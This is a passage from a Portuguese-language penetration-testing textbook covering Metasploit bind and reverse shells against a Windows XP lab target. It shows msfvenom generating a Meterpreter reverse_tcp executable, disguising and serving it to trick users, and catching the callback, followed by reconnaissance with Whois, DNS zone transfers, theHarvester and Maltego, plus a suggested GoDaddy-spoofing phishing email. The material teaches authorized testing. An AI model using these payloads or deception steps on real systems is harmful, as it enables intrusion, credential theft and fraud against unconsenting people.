Testes de invasão144 PAYLOAD => windows/shell_bind_tcp [*] Started bind handler [*] Automatically detecting the target... [*] Fingerprint: Windows XP - Service Pack 3 - lang:English [*] Selected Target: Windows XP SP3 English (AlwaysOn NX) [*] Attempting to trigger the vulnerability... [*] Command shell session 1 opened (192.168.20.9:35156 -> 192.168.20.10:4444) at 2015-08-31 16:43:54 -0400 Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32> Parece que tudo funcionou bem e que obtivemos outro shell. Porém, desta vez, no lugar de iniciar um handler reverso que fique ouvindo a porta local 4444 especificada, o Metasploit inicia um handler para o bind shell . Depois que o Metasploit enviar a string do exploit, o handler bind irá se conectar automatica- mente à porta especificada pelo payload e fará a conexão com o shell. Mais uma vez, conseguimos assumir o controle do computador-alvo. Criando payloads standalone com o Msfvenom Em 2011, o Msfvenom foi adicionado ao Metasploit. Antes do Msfvenom, as fer- ramentas Msfpayload e Msfencode podiam ser utilizadas em conjunto para criar payloads Metasploit codificados de forma standalone em uma variedade de formatos de saída, por exemplo, executáveis Windows e páginas ASP. Com a introdução do Msfvenom, as funcionalidades do Msfpayload e do Msfencode foram combinadas em uma única ferramenta, embora ambos continuem sendo incluídos no Metasploit. Para visualizar a página de ajuda do Msfvenom, digite msfvenom -h. Até agora no Metasploit, nosso objetivo tem sido explorar uma vulnerabilidade no sistema-alvo e assumir o controle do computador. Agora faremos algo um pouco diferente. Em vez de contarmos com um patch ausente ou outro proble- ma de segurança, esperamos explorar o único problema de segurança que não poderá ser totalmente corrigido: os usuários. O Msfvenom permite criar paylo- ads standalone a serem executados em um sistema-alvo na tentativa de explorar o usuário, seja por meio de ataques de engenharia social (Capítulo 11) ou por meio do upload de um payload em um servidor vulnerável, como veremos no capítulo 8. Quando tudo o mais falhar, o usuário, com frequência, pode ser uma maneira de entrar no sistema.
145Capítulo 4 ■ Utilizando o Metasploit Selecionando um payload Para listar todos os payloads disponíveis, digite msfvenom -l payloads. Usaremos um dos payloads Meterpreter do Metasploit, o windows/meterpreter/reverse_tcp, que disponibiliza uma conexão reversa com um Meterpreter shell. Utilize –p para selecionar um payload. Configurando as opções Para ver as opções corretas a serem usadas em um módulo, forneça a flag -o após selecionar um payload, conforme mostrado na listagem 4.15. Listagem 4.15 – Opções no Msfvenom root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp -o [*] Options for payload/windows/meterpreter/reverse_tcp Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process, none LHOST yes The listen address LPORT 4444 yes The listen port Como esperado, nosso LHOST deve ser configurado e nosso LPORT está definido com o valor default igual a 4444. Para poder praticar, configure LPORT com 12345 digitando LPORT=12345. Também vemos EXITFUNC, que podemos deixar com o valor default. Como esse é um payload para conexão reversa, devemos configurar nossa opção LHOST para informar ao computador-alvo com quem ele deve se conectar de volta (o nosso computador Kali). Selecionando um formato de saída Agora informe ao Msfvenom o formato de saída a ser usado. Executaremos esse payload a partir de um executável Windows, ou queremos criar um arquivo ASP que poderá ser carregado em um servidor web para o qual conseguimos acesso de escrita? Para ver todos os formatos de saída disponíveis, digite msfvenom --help-formats. root@kali:~# msfvenom --help-formats Executable formats asp, aspx, aspx-exe, dll, elf, exe, exe-only, exe-service, exe-small, loop-vbs, macho, msi, msi-nouac, psh, psh-net, vba, vba-exe, vbs, war
Testes de invasão146 Transform formats bash, c, csharp, dw, dword, java, js_be, js_le, num, perl, pl, powershell, psl, py, python, raw, rb, ruby, sh, vbapplication, vbscript Para selecionar o formato de saída, utilize a opção -f, juntamente com o formato selecionado: msfvenom windows/meterpreter/reverse_tcp LHOST=192.168.20.9 LPORT=12345 -f exe No entanto, se esse comando for executado da forma como está, você verá lixo sendo exibido no console. Embora, tecnicamente, esse seja o nosso payload exe- cutável, ele não é muito útil. Em vez de fazer isso, vamos redirecionar a saída para um arquivo executável, chapter4example.exe. root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.9 LPORT=12345 -f exe > chapter4example.exe root@kali:~# file chapter4example.exe chapter4example.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit Não há nenhuma saída na tela, mas, se executarmos o comando file em nos- so recém-criado arquivo executável, podemos ver que ele é um executável do Windows que funcionará em qualquer sistema Windows, desde que um usuário tente executá-lo. (Posteriormente, no capítulo 12, veremos casos em que aplicações antivírus bloqueiam um payload Metasploit e conheceremos formas de ocultar nossos payloads standalone para evitarmos os programas antivírus. Além disso, discutiremos maneiras inteligentes de enganar os usuários e fazê-los efetuar o download e executar payloads maliciosos no capítulo 11.) Servindo payloads Uma boa maneira de servir payloads é hospedá-los em um servidor web, disfarça- -los como algo útil e enganar os usuários para que eles façam o download desses payloads. Neste exemplo, hospedaremos o nosso executável do Metasploit no servidor Apache incluído em nosso computador Kali e navegaremos até o arquivo a partir de nossa máquina-alvo. Inicialmente, execute cp chapter4example.exe /var/www para copiar o executável do payload para o diretório do Apache e, em seguida, certifique-se de que o servidor web seja iniciado por meio do comando service apache2 start. root@kali:~# cp chapter4example.exe /var/www root@kali:~# service apache2 start Starting web server apache2 [ OK ]
147Capítulo 4 ■ Utilizando o Metasploit Agora vá para o alvo Windows XP e abra o Internet Explorer. Navegue para http://192.168.20.9/chapter4example.exe e faça o download do arquivo. Porém, antes de executarmos esse arquivo, temos uma aresta para aparar. Até agora, quando tentamos explorar a nossa máquina-alvo, o Metasploit con- figurou os handlers de nossos payloads e enviou o exploit. Quando usamos o Msfconsole para explorar a vulnerabilidade MS08-067 com um payload para reverse shell, o Metasploit inicialmente configurou um handler para ficar ouvindo a porta 4444 para tratar a conexão reversa, mas, até este ponto, não temos nada que fique ouvindo uma conexão reversa do payload que criamos com o Msfvenom. Usando o módulo Multi/Handler Inicie o Msfconsole novamente; daremos uma olhada em um módulo do Me- tasploit que se chama multi/handler. Esse módulo permite configurar handlers standalone, que é exatamente o que está faltando. Precisamos de um handler para capturar nossa conexão Meterpreter quando nosso executável malicioso for executado no alvo Windows XP. Selecione o módulo multi/handler por meio do comando use multi/handler. A primeira tarefa a ser feita é informar ao multi/handler, entre os vários handlers do Metasploit, qual é aquele de que precisamos. Devemos capturar o payload windows/meterpreter/reverse_tcp que usamos quando criamos o nosso executável com o Msfvenom. Selecione-o com set PAYLOAD windows/meterpreter/reverse_tcp, e execute show options (listagem 4.16) em seguida. Listagem 4.16 – Opções com multi/handler msf > use multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process, none
Testes de invasão148 LHOST yes The listen address LPORT 4444 yes The listen port --trecho omitido-- msf exploit(handler) > A partir daqui, dizemos ao Metasploit que configuração usamos quando o payload foi criado. Definiremos a opção LHOST com o endereço IP de nosso Kali local e LPORT com a porta selecionada no Msfvenom, nesse caso, 192.168.20.9 e 12345, respectiva- mente. Depois que todas as opções do payload estiverem definidas corretamente, digite exploit, conforme mostrado na listagem 4.17. Listagem 4.17 – Configurando um handler msf exploit(handler) > set LHOST 192.168.20.9 LHOST => 192.168.20.9 msf exploit(handler) > set LPORT 12345 LPORT => 12345 msf exploit(handler) > exploit [*] Started reverse handler on 192.168.20.9:12345 [*] Starting the payload handler... Como você pode ver, o Metasploit configura um handler reverso na porta 12345 conforme foi instruído a fazer, o qual fica esperando um payload chamar de volta. Agora podemos retornar ao nosso alvo Windows XP e executar o código baixado. Execute chapter4example.exe em seu alvo Windows. De volta ao Msfconsole, você deverá ver que o handler receberá a conexão reversa, e você irá obter uma sessão Meterpreter. [*] Sending stage (752128 bytes) to 192.168.20.10 [*] Meterpreter session 1 opened (192.168.20.9:12345 -> 192.168.20.10:49437) at 2015-09-01 11:20:00 -0400 meterpreter > Invista um tempo fazendo experiências com o Msfvenom, se quiser. Retornaremos a essa ferramenta útil quando tentarmos nos desviar de soluções com antivírus no capítulo 12. Utilizando um módulo auxiliar O Metasploit inicialmente foi concebido como um framework para exploração de falhas, e ele continua sendo um dos principais competidores no mundo da
149Capítulo 4 ■ Utilizando o Metasploit exploração de falhas. Porém, nos anos que se seguiram, sua funcionalidade foi expandida em tantas direções quantas são as mentes criativas que trabalham nessa ferramenta. Às vezes, eu brinco dizendo que o Metasploit pode fazer de tudo, exceto lavar a minha roupa, e que atualmente estou trabalhando em um módulo que fará isso. Deixando de lado as meias sujas, além de explorar falhas, o Metasploit contém módulos que auxiliam em todas as fases do teste de invasão. Alguns módulos que não são usados na exploração de falhas são conhecidos como módulos auxiliares; esses módulos incluem recursos como scanners de vulnerabilidades, fuzzers e até mesmo módulos para denial of service (negação de serviço). (Uma boa regra geral a ser lembrada é que os módulos para exploração de falhas utilizam um payload, enquanto os módulos auxiliares não o fazem.) Por exemplo, quando usamos inicialmente o módulo de exploração windows/smb/ ms08_067_netapi anteriormente neste capítulo, uma de suas opções era SMBPIPE. O valor default dessa opção era BROWSER. Vamos dar uma olhada em um módulo au- xiliar que irá enumerar os pipes que estiverem ouvindo em um servidor SMB, o auxiliary/scanner/smb/pipe_auditor (na listagem 4.18). (Usamos módulos auxiliares do mesmo modo que usamos os exploits e, da mesma forma que os exploits, po- demos também ignorar a parte correspondente a auxiliary/ no nome do módulo.) Listagem 4.18 – Opções para scanner/smb/pipe_auditor msf > use scanner/smb/pipe_auditor msf auxiliary(pipe_auditor) > show options Module options (auxiliary/scanner/smb/pipe_auditor): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier SMBDomain WORKGROUP no The Windows domain to use for authentication SMBPass no The password for the specified username SMBUser no The username to authenticate as THREADS 1 yes The number of concurrent threads As opções para esse módulo são um pouco diferentes daquelas que vimos até agora. Em vez de RHOST, temos RHOSTS , que nos permite especificar mais de um host remoto em que o módulo será executado. (Os módulos auxiliares podem ser executados em diversos hosts, enquanto os exploits podem explorar somente um sistema de cada vez.)
Testes de invasão150 Também podemos ver opções para SMBUser, SMBPass e SMBDomain. Como o nosso alvo Windows XP não faz parte de nenhum domínio, podemos deixar SMBDomain com o valor default, WORKGROUP. Podemos deixar os valores de SMBUser e de SMBPass em bran- co. A opção THREADS permite controlar a velocidade do Metasploit ao fazer nosso módulo ser executado em várias threads. Estamos fazendo o scanning somente de um sistema neste caso, portanto o valor default de 1 thread funcionará ade- quadamente. A única opção que devemos configurar é RHOSTS, com o endereço IP de nosso alvo Windows XP. msf auxiliary(pipe_auditor) > set RHOSTS 192.168.20.10 RHOSTS => 192.168.20.10 Apesar de não estarmos, tecnicamente, explorando nada neste caso, podemos dizer ao Metasploit para executar o nosso módulo auxiliar por meio do comando exploit. msf auxiliary(pipe_auditor) > exploit [*] 192.168.20.10 - Pipes: \browser [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf auxiliary(pipe_auditor) > O módulo faz uma auditoria dos pipes SMB que estão ouvindo em nosso alvo Windows XP. O pipe browser, como podemos ver, é o único pipe disponível . Como esse pipe está ouvindo, esse é o valor correto para a opção SMBPIPE no módulo de exploit windows/smb/ms08_067_netapi que usamos anteriormente no capítulo. Atualizando o Metasploit Os exercícios deste livro foram concebidos para funcionar em uma instalação base do Kali Linux 1.0.6. Naturalmente, muitas ferramentas de segurança deste livro terão sido atualizadas desde a disponibilização do Kali. O Metasploit, em particular, recebe atualizações regulares dos principais desenvolvedores, bem como da comunidade de segurança. Todo o material contido neste livro funciona com a versão do Metasploit insta- lada no Kali 1.0.6. À medida que prosseguir em sua carreira como pentester, você irá querer usar os módulos mais recentes do Metasploit. O Metasploit Project normalmente é bem consistente na liberação de módulos para os problemas mais recentes de segurança que circulam na Web. Para obter os módulos mais recentes a partir do GitHub do Metasploit, digite o seguinte: root@kali:~# msfupdate
151Capítulo 4 ■ Utilizando o Metasploit Resumo Neste capítulo, nós nos familiarizamos com o uso de algumas interfaces do Metasploit. Retornaremos ao Metasploit ao longo do livro. Nos próximos capítulos, iremos simular um teste de invasão contra nossos computadores-alvo, cobrindo uma ampla variedade de tipos de vulnerabilidade. Se você pretende fazer carreira na área de testes de invasão, é provável que você vá se deparar com clientes que tenham todos os tipos possíveis de posturas em relação à segurança. Alguns terão tantos patches ausentes pela empresa que você ficará se perguntando se eles já fizeram alguma atualização desde que instalaram a imagem de base lá pelo ano 2001. Juntamente com a ausência de patches, você encontrará vulnerabilidades adicionais, como senhas default e serviços confi- gurados incorretamente. Ter acesso a redes como essas é trivial para pentesters habilidosos. Por outro lado, você também poderá se ver trabalhando para clientes que têm gerenciamento de patches totalmente implementado, abrangendo tudo, desde os sistemas operacionais Windows até todos os softwares de terceiros, em um ciclo regular de atualização de patches por toda a empresa. Alguns clientes poderão ter os mais avançados controles de segurança implantados, como proxies que permitem que somente o Internet Explorer acesse a Internet. Isso bloqueará até mesmo os reverse shells do Metasploit que se conectam de volta nas portas 80 ou 443 e que se parecem com tráfego web, a menos que você seja capaz de explorar o programa Internet Explorer, que também poderá ter todos os patches instalados. Você poderá encontrar firewalls para prevenção contra invasões na periferia da rede, que recusarão qualquer string que se pareça, mesmo que somente um pouco, com um tráfego de ataque. Simplesmente lançar o módulo MS08-067 do Metasploit nessas redes de alta segurança não trará nenhum resultado, exceto, talvez, uma ligação de um forne- cedor de sistemas de monitoração de rede com um mandato para a sua prisão. (Não se preocupe: como parte do teste de invasão, você terá um cartão para “sair da cadeia livremente”.) Entretanto até mesmo as redes altamente seguras são tão seguras quanto o seu elo mais fraco. Por exemplo, certa vez, realizei um teste de invasão local em uma empresa que empregava todos os controles de segurança que acabei de mencionar. No entanto, a senha do administrador local em todas as estações de trabalho Windows era uma mesma palavra de cinco letras que poderia ser encontrada em um dicionário. Depois de ter quebrado a senha, fui capaz de fazer login como administrador em todas as estações de trabalho da rede. A partir
Testes de invasão152 daí, pude usar algo chamado token de personificação (token impersonation) para ter acesso de administrador no domínio. Apesar de todos os controles rígidos de segurança, com um pouco de esforço, fui capaz de assumir o controle da rede da mesma maneira que faria em uma rede que não tivesse patches desde 2003. À medida que trabalhar no restante deste livro, você irá adquirir não só as ha- bilidades técnicas necessárias para invadir sistemas vulneráveis, mas também perceberá o raciocínio necessário para descobrir uma maneira de invadir quando nada pareça estar aparente de imediato. Agora vamos voltar nossa atenção para a coleta de informações sobre nossos alvos para que possamos desenvolver um plano de ataque sólido.
153 parte II AVALIAÇÕES
154 capítulo 5 Coleta de informações Neste capítulo, iniciaremos a fase de coleta de informações do teste de invasão. O objetivo dessa fase é conhecer o máximo possível os nossos clientes. O CEO revela informações demais no Twitter? O administrador do sistema está escrevendo para listservs de arquivos, perguntando a respeito de como garantir a segurança de uma instalação de Drupal? Que softwares estão sendo executados em seus servidores web? Os sistemas voltados à Internet estão ouvindo mais portas do que deveriam? Ou, se esse é um teste de invasão interno, qual é o endereço IP do controlador de domínio? Também começaremos a interagir com nossos sistemas-alvo, conhecendo o máximo que pudermos sobre eles, sem atacá-los de forma ativa. Usaremos o co- nhecimento adquirido nessa fase para prosseguirmos para a fase de modelagem de ameaças, em que pensaremos como os invasores e desenvolveremos planos de ataque com base nas informações coletadas. De acordo com as informações que descobrirmos, iremos procurar e verificar as vulnerabilidades de forma ativa usando técnicas de scanning de vulnerabilidades, que serão discutidas no próximo capítulo. Coleta de informações de fontes abertas Podemos aprender bastante sobre a organização e a infraestrutura de nossos clientes antes de lhes enviar um único pacote sequer; porém a coleta de infor- mações continua sendo uma espécie de alvo em movimento. Não é viável estu- dar a vida online de todos os funcionários e, dada uma quantidade enorme de informações coletadas, poderá ser difícil discernir dados importantes de ruídos. Se o CEO tuitar com frequência sobre um time esportivo favorito, o nome desse
155Capítulo 5 ■ Coleta de informações time poderá ser a base da senha de seu webmail, mas essa informação poderia ser também totalmente irrelevante. Em outras ocasiões, será mais fácil escolher algo que seja mais importante. Por exemplo, se o seu cliente tiver postagens de ofertas de emprego online para uma vaga de administrador de sistemas que seja especialista em determinado software, existe uma boa chance de essas plataformas terem sido implantadas na infraestrutura do cliente. Em oposição aos dados de inteligência obtidos a partir de fontes secretas, por exemplo, ao vasculhar lixos, vasculhar bancos de dados de sites e usar a engenharia social, o OSINT (Open Source Intelligence, ou Inteligência de Fontes Abertas) é coletado a partir de fontes legais, por exemplo, de registros públicos e por meio da mídia social. O sucesso de um teste de invasão, com frequência, depende do resultado da fase de coleta de informações; portanto, nesta seção, daremos uma olhada em algumas ferramentas para obter informações interessantes, provenientes dessas fontes públicas. Netcraft Às vezes, as informações que os servidores web e as empresas de web hosting reúnem e tornam publicamente disponíveis podem dizer muito a respeito de um site. Por exemplo, uma empresa chamada Netcraft faz o log do uptime e faz consultas sobre o software subjacente. (Essas informações estão publicamente disponíveis em http://www.netcraft.com/.) O Netcraft também provê outros servi- ços, e suas ofertas relacionadas ao antiphishing são de particular interesse para a segurança de informações. Por exemplo, a figura 5.1 mostra o resultado ao fazermos uma consulta em http://www.netcraft.com/ à procura de http://www.bulbsecurity.com. Como você pode ver, bulbsecurity.com foi inicialmente visto em março de 2012. Foi registrado por meio do GoDaddy, tem um endereço IP igual a 50.63.212.1 e está executando Linux com um servidor web Apache. De posse dessas informações, ao efetuar um teste de invasão em bulbsecurity.com, podemos começar excluindo as vulnerabilidades que afetem somente servidores Microsoft IIS. Ou, se quisermos tentar usar a engenharia social para obter creden- ciais para o site, poderíamos escrever um email que pareça ter sido enviado pelo GoDaddy, pedindo que o administrador faça login e verifique alguns parâmetros de segurança.
Testes de invasão156 Figura 5.1 – Resultados do Netcraft para bulbsecurity.com. Lookups com o Whois Todos os registradores de domínio mantêm registros dos domínios que eles hospedam. Esses registros contêm informações sobre o proprietário, incluindo informações de contato. Por exemplo, se executarmos a ferramenta de linha de comando Whois em nosso computador Kali para solicitar informações sobre bulbsecurity.com, como mostrado na listagem 5.1, veremos que eu usei um registro privado, portanto não iremos obter muitas informações. Listagem 5.1 – Informações do Whois para bulbsecurity.com root@kali:~# whois bulbsecurity.com Registered through: GoDaddy.com, LLC (http://www.godaddy.com) Domain Name: BULBSECURITY.COM Created on: 21-Dec-11 Expires on: 21-Dec-12 Last Updated on: 21-Dec-11 Registrant: Domains By Proxy, LLC DomainsByProxy.com
157Capítulo 5 ■ Coleta de informações 14747 N Northsight Blvd Suite 111, PMB 309 Scottsdale, Arizona 85260 United States Technical Contact: Private, Registration BULBSECURITY.COM@domainsbyproxy.com Domains By Proxy, LLC DomainsByProxy.com 14747 N Northsight Blvd Suite 111, PMB 309 Scottsdale, Arizona 85260 United States (480) 624-2599 Fax -- (480) 624-2598 Domain servers in listed order: NS65.DOMAINCONTROL.COM NS66.DOMAINCONTROL.COM Esse site tem registro privado, portanto tanto quem registra quanto o contato técnico correspondem a domínios por proxy. Os domínios por proxy oferecem registro privado, o que oculta seus detalhes pessoais das informações do Whois para os seus domínios. No entanto podemos ver os servidores de domínio para bulbsecurity.com. A execução de consultas com o Whois em outros domínios mostrará resulta- dos mais interessantes. Por exemplo, se você fizer um lookup com o Whois em georgiaweidman.com, poderá obter um dado interessante do passado, que inclui o número de telefone de minha faculdade. Reconhecimento com DNS Também podemos usar servidores DNS (Domain Name System) para conhecer melhor um domínio. Os servidores DNS traduzem o URL www.bulbsecurity.com, legível aos seres humanos, em um endereço IP. Nslookup Por exemplo, podemos usar uma ferramenta de linha de comando como o Nslookup, conforme mostrado na listagem 5.2.
Testes de invasão158 Listagem 5.2 – Informações do Nslookup para www.bulbsecurity.com root@Kali:~# nslookup www.bulbsecurity.com Server: 75.75.75.75 Address: 75.75.75.75#53 Non-authoritative answer: www.bulbsecurity.com canonical name = bulbsecurity.com. Name: bulbsecurity.com Address: 50.63.212.1 O Nslookup retornou o endereço IP de www.bulbsecurity.com, como você pode ver em . Também podemos dizer ao Nslookup para descobrir os servidores de email para o mesmo site ao procurar registros MX (linguagem do DNS para email), como mostrado na listagem 5.3. Listagem 5.3 – Informações do Nslookup para os servidores de email de bulbsecurity.com root@kali:~# nslookup > set type=mx > bulbsecurity.com Server: 75.75.75.75 Address: 75.75.75.75#53 Non-authoritative answer: bulbsecurity.com mail exchanger = 40 ASPMX2.GOOGLEMAIL.com. bulbsecurity.com mail exchanger = 20 ALT1.ASPMX.L.GOOGLE.com. bulbsecurity.com mail exchanger = 50 ASPMX3.GOOGLEMAIL.com. bulbsecurity.com mail exchanger = 30 ALT2.ASPMX.L.GOOGLE.com. bulbsecurity.com mail exchanger = 10 ASPMX.L.GOOGLE.com. O Nslookup informa que bulbsecurity.com está usando o Google Mail como ser- vidores de email, o que está correto porque eu uso o Google Apps. Host Outro utilitário para solicitar informações ao DNS é o Host. Podemos pedir ao Host que forneça os servidores de nome para um domínio por meio do comando host -t ns domínio. Um bom exemplo de consultas sobre domínio é o zoneedit.com, que é um domínio configurado para demonstrar as vulnerabilidades de transfe- rência de zonas, como mostrado aqui.
159Capítulo 5 ■ Coleta de informações root@kali:~# host -t ns zoneedit.com zoneedit.com name server ns4.zoneedit.com. zoneedit.com name server ns3.zoneedit.com. --trecho omitido-- Essa saída mostra todos os servidores DNS de zoneedit.com. Naturalmente, como mencionei que esse domínio foi configurado para demonstrar transferências de zona, é isso o que faremos a seguir. Transferências de zona As transferências de zona DNS permitem que os servidores de nome dupliquem todas as entradas de um domínio. Ao configurar servidores DNS, normalmente, você tem um servidor principal de nomes e um servidor backup. Não há melhor maneira de preencher todas as entradas do servidor DNS secundário do que consultar o servidor principal e solicitar todas as suas entradas. Infelizmente, muitos administradores de sistema configuram as transferências de zona DNS de forma não segura, de modo que qualquer pessoa pode transferir registros DNS para um domínio. zoneedit.com é um exemplo de um domínio como esse, e podemos usar o comando host para fazer o download de todos os seus registros DNS. Utilize a opção -l para especificar o domínio a ser transferido e selecione um dos servidores de nome do comando anterior, como mostrado na listagem 5.4. Listagem 5.4 – Transferência de zona de zoneedit.com root@kali:~# host -l zoneedit.com ns2.zoneedit.com Using domain server: Name: ns2.zoneedit.com Address: 69.72.158.226#53 Aliases: zoneedit.com name server ns4.zoneedit.com. zoneedit.com name server ns3.zoneedit.com. zoneedit.com name server ns15.zoneedit.com. zoneedit.com name server ns8.zoneedit.com. zoneedit.com name server ns2.zoneedit.com. zoneedit.com has address 64.85.73.107 www1.zoneedit.com has address 64.85.73.41 dynamic.zoneedit.com has address 64.85.73.112
Testes de invasão160 bounce.zoneedit.com has address 64.85.73.100 --trecho omitido-- mail2.zoneedit.com has address 67.15.232.182 --trecho omitido-- Existem páginas e páginas de entradas DNS para zoneedit.com, o que nos dá uma boa ideia de onde começar ao procurarmos vulnerabilidades em nosso teste de invasão. Por exemplo, mail2.zoneedit.com provavelmente é um servidor de email, portanto devemos procurar softwares potencialmente vulneráveis que executem em portas típicas de email, como a porta 25 (Simple Mail Transfer Protocol) e a porta 110 (POP3). Se pudermos encontrar um servidor de webmail, qualquer nome de usuário que encontrarmos poderá nos levar para a direção correta para que possamos adivinhar senhas e obter acesso a emails da empresa que contenham dados críticos. Procurando endereços de email Testes de invasão externos, com frequência encontram menos serviços expostos que os testes internos. Uma boa prática de segurança consiste em expor somente os serviços que devam ser acessados remotamente, como os servidores web, os servidores de email, os servidores VPN e, talvez, o SSH ou o FTP, e somente os serviços que sejam críticos para a missão da empresa. Serviços como esses cons- tituem superfícies comuns de ataque e, a menos que os funcionários utilizem uma autenticação de dois fatores, acessar o webmail da empresa pode ser fácil se um invasor puder descobrir credenciais válidas. Procurar endereços de email na Internet é uma maneira excelente de descobrir nomes de usuário. Você ficaria surpreso ao encontrar endereços corporativos de email listados publicamente em informações de contato em associações de pais e professores, em listas de equipes esportivas e, é claro, em redes sociais. Uma ferramenta Python chamada theHarvester pode ser usada para analisar mi- lhares de resultados de ferramentas de pesquisa em busca de possíveis endereços de email. O theHarvester pode automatizar a pesquisa no Google, no Bing, no PGP, no LinkedIn e em outras ferramentas a fim de procurar endereços de email. Por exemplo, na listagem 5.5, daremos uma olhada nos primeiros 500 resultados de todas as ferramentas de pesquisa para bulbsecurity.com.
161Capítulo 5 ■ Coleta de informações Listagem 5.5 – Executando o theHarvester para bulbsecurity.com root@kali:~# theharvester -d bulbsecurity.com -l 500 -b all ******************************************************************* * * * | |_| |__ ___ /\ /\__ _ _ ____ _____ ___| |_ ___ _ __ * * | __| '_ \ / _ \ / /_/ / _` | '__\ \ / / _ \/ __| __/ _ \ '__| * * | |_| | | | __/ / __ / (_| | | \ V / __/\__ \ || __/ | * * \__|_| |_|\___| \/ /_/ \__,_|_| \_/ \___||___/\__\___|_| * * * * TheHarvester Ver. 2.2a * * Coded by Christian Martorella * * Edge-Security Research * * cmartorella@edge-security.com * ******************************************************************* Full harvest.. [-] Searching in Google.. Searching 0 results... Searching 100 results... Searching 200 results... Searching 300 results... --trecho omitido-- [+] Emails found: ------------------ georgia@bulbsecurity.com [+] Hosts found in search engines: ------------------------------------ 50.63.212.1:www.bulbsecurity.com --trecho omitido-- Não há muito o que ser encontrado para bulbsecurity.com, porém o theHarvester descobriu meu endereço de email, georgia@bulbsecurity.com, e o site, www.bulbsecurity.com, bem como outros sites com quem compartilho um hosting virtual. Você poderá encontrar mais resultados se executar o theHarvester para a sua empresa.
Testes de invasão162 Maltego O Maltego da Paterva é uma ferramenta para data mining (mineração de da- dos), projetada para visualizar o resultado da coleta de dados de inteligência de fontes abertas. O Maltego tem tanto uma versão comercial quanto uma versão gratuita da comunidade. A versão gratuita para Kali Linux, que usaremos neste livro, limita o resultado retornado, porém ela pode ser usada para coletar uma boa quantidade de informações interessantes rapidamente. (A versão paga oferece mais resultados e mais funcionalidades. Para usar o Maltego em seus testes de invasão, será necessário ter uma licença paga.) N O T A Sinta-se à vontade para usar o Maltego para estudar outros footprints (pegadas) deixados na Internet, que incluam os seus, os de sua empresa, os de seu arqui-inimigo do colégio e assim por diante. O Maltego utiliza informações que estão publicamente disponíveis na Internet, portanto efetuar o reconhecimento em qualquer entidade é perfeitamente legal. Para executar o Maltego, digite maltego na linha de comando. A GUI do Maltego deverá ser iniciada. Você será solicitado a criar uma conta gratuita no site da Paterva e a fazer login. Depois de ter feito login, selecione Open a blank graph and let me play around (Abra um grafo em branco e deixe-me brincar) e, em seguida, clique em Finish (Finalizar), conforme mostrado na figura 5.2. Figura 5.2 – Abrindo um novo grafo no Maltego. Agora selecione a opção Palette (Paleta) na borda esquerda. Como você pode ver, podemos coletar informações sobre todo tipo de entidades.
163Capítulo 5 ■ Coleta de informações Vamos começar com o domínio bulbsecurity.com, conforme mostrado na figura 5.3. Expanda a opção Infrastructure (Infraestrutura) em Palette (à esquerda da janela do Maltego) e arraste uma entidade Domain (Domínio) de Palette para o novo grafo. Por padrão, o domínio é paterva.com. Para alterá-lo para bulbsecurity.com, dê um clique duplo no texto ou altere o campo de texto do lado direito da tela. Figura 5.3 – Adicionando uma entidade ao grafo. Depois que o domínio estiver definido, você poderá executar transformações (lingua- gem do Maltego para as consultas) nele, instruindo o Maltego a procurar informações interessantes. Vamos começar com algumas transformações simples, que poderão ser visualizadas ao clicar com o botão direito do mouse no ícone de domínio e selecionar Run Transform (Executar transformação), como mostrado na figura 5.4. Figura 5.4 – Transformações do Maltego.
Testes de invasão164 Na figura, podemos ver todas as transformações disponíveis para uma entidade do tipo domínio. À medida que você trabalhar com entidades diferentes, opções diferentes de transformações estarão disponíveis. Vamos encontrar os registros MX para o domínio bulbsecurity.com e, desse modo, descobriremos onde estão os servidores de email. Em All Transforms (Todas as transformações), selecione a transformação To DNS Name – MX (mail server). Como esperado de acordo com nossa pesquisa anterior, o Maltego retorna os servidores do Google Mail, indicando que bulbsecurity.com utiliza o Google Apps para os emails. Podemos executar a transformação simples To Website [Quick lookup] para obter o endereço do site de bulbsecurity.com. Veja a figura 5.5 para conferir os resultados dessa e da transformação anterior. Figura 5.5 – Resultados da transformação. O Maltego encontra www.bulbsecurity.com corretamente. Atacar os servidores do Google Mail provavelmente estará fora do escopo de qualquer teste de invasão, porém mais informações sobre o site www.bulbsecurity.com certamente serão úteis. Podemos executar transformações em qualquer entidade no grafo, portanto selecione o site www.bulbsecurity.com para coletar dados sobre ele. Por exemplo, podemos executar a transformação ToServerTechnologiesWebsite para ver quais softwares www.bulbsecurity.com está executando, como mostrado na figura 5.6.
165Capítulo 5 ■ Coleta de informações Figura 5.6 – Softwares de www.bulbsecurity.com. O Maltego descobre que www.bulbsecurity.com é um servidor web Apache com PHP, Flash e assim por diante, além de ter uma instalação do WordPress. O WordPress, que é uma plataforma de blogging comumente utilizada, tem um longo histórico de problemas de segurança (assim como muitos softwares). Daremos uma olhada na exploração de vulnerabilidades de sites no capítulo 14. (Vamos esperar que eu esteja mantendo o meu blog WordPress atualizado; do contrário, poderei acordar um dia e encontrar o meu site desfigurado. Que vergonha!) Informações adicionais e tutoriais sobre o Maltego podem ser encontrados em http://www.paterva.com/. Invista um tempo utilizando as transformações do Maltego para descobrir informações interessantes sobre a sua empresa. Em mãos habilidosas, o Maltego pode transformar horas de trabalho de reconhecimento em minutos, oferecendo os mesmos resultados de qualidade. Scanning de portas Ao iniciar um teste de invasão, o escopo em potencial é praticamente ilimitado. O cliente pode estar executando qualquer quantidade de programas com pro- blemas de segurança: esses programas podem ter problemas de configurações incorretas em sua infraestrutura que poderiam levar a um comprometimento; senhas fracas ou default podem entregar as chaves do reino para sistemas que, de acordo com outros aspectos, são seguros e assim por diante. Os testes de invasão, com frequência, restringem seu escopo a uma determinada faixa de IPs e nada
